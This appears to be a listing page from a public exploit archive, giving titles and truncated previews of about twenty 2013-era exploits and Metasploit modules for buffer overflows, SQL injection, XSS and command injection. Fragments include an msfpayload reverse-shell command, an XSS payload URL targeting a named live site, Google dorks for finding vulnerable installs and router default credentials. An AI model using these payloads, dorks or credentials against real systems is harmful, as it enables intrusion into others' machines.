Ophcrack 3.5.0 - Code Execution Local Buffer Overflow

Ophcrack 3.5.0 - Code Execution Local Buffer Overflow Exploit Title: ophcrack v3.5.0 - Local Code Execution BOF Date: 21.05.2013 Exploit Author: xisone@STM Solutions Vendor Homepage: http://ophcrack.sourceforge.net/ Software Link:...

D-Link DIR615h OS Command Injection Vulnerability

Some D-Link Routers are vulnerable to an authenticated OS command injection on their web interface, where default credentials are admin/admin or admin/password. Since it is a blind os command injection vulnerability, there is no output for the executed command when using the cmd generic payload...

nginx 1.3.9-1.4.0 DoS PoC

Exploit for linux platform in category dos / poc Exploit Title: nginx v1.3.9-1.4.0 DOS POC CVE-2013-2070 Google Dork: CVE-2013-2070 Date: 16.05.2013 Exploit Author: Mert SARICA - mert . sarica @ gmail . com - http://www.mertsarica.com Vendor Homepage: http://nginx.org/ Software Link:...

ColdFusion 'password.properties' Hash Extraction

This module uses a directory traversal vulnerability to extract information such as password, rdspassword, and "encrypted" properties. This module has been tested successfully on ColdFusion 9 and ColdFusion 10 auto-detect. This module requires Metasploit: https://metasploit.com/download Current...

Lan Messenger - sending PM 'UNICODE' Overwrite Buffer Overflow (SEH)

Exploit Title: Lan Messenger Version 1.2 Buffer Overflow vulnerability - UNICODEPOC Date: 09-05-2013 Exploit Author: ariarat Vendor Homepage: http://lmadhavan.com Software Link: http://lmadhavan.com/software/archive/lanmsg12.zip Version: 1.2 & may be old versions! Tested on: Windows 7 & windows X...

Site by Webrevelation SQL Injection Vulnerability

=========================================================== Site by Webrevelation SQL Injection Vulnerability =========================================================== :-----------------------------------------------------------------------------------------------------------------------: :...

AudioCoder Buffer Overflow Exploit (SEH)

Exploit for windows platform in category dos / poc !/usr/bin/env ruby Exploit Title:AudioCoder 0.8.18 Buffer Overflow Exploit SEH Download link :http://www.mediacoderhq.com/getfile.htm?site=dl.mediacoderhq.com&file=AudioCoder-0.8.18.exe Vulnerable Product:AudioCoder Date found: 30.04.2013 Date...

Wordpress W3 Total Cache PHP Code Execution Vulnerability

This Metasploit module exploits a PHP Code Injection vulnerability against Wordpress plugin W3 Total Cache for versions up to and including 0.9.2.8. WP Super Cache 1.2 or older is also reported as vulnerable. The vulnerability is due to the handling of certain macros such as mfunc, which allows...

MinaliC Webserver 2.0.0 Buffer Overflow

!/usr/bin/env python Title : MinaliC Webserver 2.0.0 Post Method Remote Command Execution Works for Windows Server 2003 sp2 Only Date: 12 Apr 2013 Exploit Author: Antonius - http://www.cr0security.com - http://www.codewall-security.com Thanks : http://www.offensive-security.com ,...

Freefloat FTP Server 1.0 - DEP Bypass with ROP

Freefloat FTP Server 1.0 - DEP Bypass with ROP !usr/bin/python Exploit title: FreeFloat ftp 1.0 DEP bypass with ROP Exploit Author: negux POC: http://www.exploit-db.com/exploits/24479/ Tested on : Windows XP SP 3 Spanish import socket,struct msfpayload windows/shellreversetcp LHOST=192.168.1.117...

LetterIt2 <= XSS Vulnerability

Exploit for php platform in category web applications LetterIt2 alert1; Demo: 01 :http://iz.sp.gov.br/stats/help/install.php?langhelpSprache=%22%3E%3Cscript%3Ealert%281337%29;%3C/script%3E 02...

SmallFTPd 1.0.3 Denial Of Service

NoTrayIcon Region ; Directives created by AutoIt3WrapperGUI AutoIt3WrapperOutfile=aas.exe AutoIt3WrapperUseUpx=n AutoIt3WrapperChange2CUI=y EndRegion ; Directives created by AutoIt3WrapperGUI cs smallftpd 1.0.3.dos.au3 smallftpd 1.0.3 Denial Of Service Remote Crash exploit; This is simple exploit...

BlazeDVD Free Edition 6.1.1.6 Buffer Overflow

!/usr/bin/python Exploit Title:BlazeDVD Free Edition 6.1.1.6 Buffer Overflow Date: 27-03-2013 Exploit Author: metacom RST Vendor Homepage: http://www.blazevideo.com/dvd-player/ Download version 6.1.0.6: www.blazevideo.com/download.php?product=BlazeDVD Version: BlazeDVD Free Edition 6.1.1.6 Tested...

Mutiny Remote Command Execution

This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit web site for more information on licensing and terms of use. http://metasploit.com/ require 'msf/core' class Metasploit3 'Mutiny Remote Command Execution',...

WordPress Plugin IndiaNIC FAQs Manager 1.0 - Blind SQL Injection

WordPress Plugin IndiaNIC FAQs Manager 1.0 - Blind SQL Injection Exploit Title: WordPress IndiaNIC FAQ 1.0 Plugin Blind SQL Injection Google Dork: inurl:wp-content/plugins/faqs-manager Date: 21.03.2013 Exploit Author: m3tamantra http://m3tamantra.wordpress.com/blog Vendor Homepage:...

WordPress IndiaNIC FAQS Manager 1.0 SQL Injection

Exploit Title: WordPress IndiaNIC FAQ 1.0 Plugin Blind SQL Injection Google Dork: inurl:wp-content/plugins/faqs-manager Date: 21.03.2013 Exploit Author: m3tamantra http://m3tamantra.wordpress.com/blog Vendor Homepage: http://wordpress.org/extend/plugins/faqs-manager/ Software Link:...

Mutiny Remote Command Execution

This module exploits an authenticated command injection vulnerability in the Mutiny appliance. Versions prior to 4.5-1.12 are vulnerable. In order to exploit the vulnerability the mutiny user must have access to the admin interface. The injected commands are executed with root privileges. This...

Brewthology 0.1 SQL Injection Vulnerability

Brewthology version 0.1 remote SQL injection exploit that dumps the user table and leverages beerxml.php Brewthology 0.1 SQL Injection Exploit By cr4wl3r http://bastardlabs.info Script: http://sourceforge.net/projects/brewthology/files/brewthology/v0.1%20public%20beta/ Demo:...

MTP Image Gallery 1.0 Cross Site Scripting

MTP Image Gallery 1.0 title Remote Script Insertion Vulnerability alert1;' / input typ...

CMS snews - SQL Injection

CMS snews - SQL Injection / | / \ / / \ / /\ \ / / \ | \ / \ \ | | | | /\ /\ / /|| /\ | | || \ \ / / / / / Exploit Title : CMS snews SQL Injection Vulnerability Author : By onestree Software Link : http://snewscms.com/ tested : ubuntu 12.10 / win 7 Dork : inurl:"tanyakan pada rumput yang...